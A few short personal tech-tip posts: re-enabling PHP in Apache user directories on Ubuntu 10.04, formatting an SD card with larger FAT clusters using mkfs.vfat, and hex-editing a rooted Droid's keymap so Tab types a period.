After upgrading to Ubuntu 10.04 all my php script not working. this is because new stupid feature new configuration in apache2 which disable php in user directories. To fix: vim /etc/apache2/mods-available/php5.conf Remark all user dir related config, change to: <IfModule mod_php5.c> <FilesMatch "\.ph(p3?|tml)$"> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch "\.phps$"> SetHandler application/x-httpd-php-source </FilesMatch> # To re-enable php in user directories comment the following lines # (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it # prevents .htaccess files from disabling it. #<IfModule mod_userdir.c> # <Directory /home/*/public_html> # php_admin_value engine Off # </Directory> #</IfModule> </IfModule> Then restart apache. You may need to clear firefox cache. _

Sometimes when copying lots of files to sdcard causes corrupt in portable device. To avoid this we can increase cluster size when formatting. This will also increase read/write performance on sdcard. Under linux we can use: mkfs.vfat -h0 -n MYSDCARD -S 4096 -v /dev/sdc1 UPDATE: using command above seems dont compatible on Windows, you can use this application: http://www.ridgecrop.demon.co.uk/index.htm?fat32format.htm or use this compatible command: mkfs.vfat -s 32 -S 512 -n "USB DISK" /dev/sdc1 mkfs.vfat -s 64 -S 512 -n "USB DISK" /dev/sdc1 mkfs.vfat -s 128 -S 512 -n "USB DISK" /dev/sdc1

Sometimes I want to write IP Address using hardware keyboard. Press alt key twice to lock, then we can type numbers and symbols. But when alt mode, period key (.) will change to (:) which makes 192:168:10:10 So I want to change some other key to period (.) in alt mode, I choose Tab key. 1. First you must root your droid, which not covered here. 2. Get binary file contain key characters: /system/usr/keychars/sholes-keypad.kcm.bin using adb or copy it to sdcard 3. Modify the file using hex editor (i use bless) find sequence: A.1.a.A.. the last dot is char 09 which is tab, change it to period (char 2E) save 4. Copy back and replace /system/usr/keychars/sholes-keypad.kcm.bin 5. adb reboot
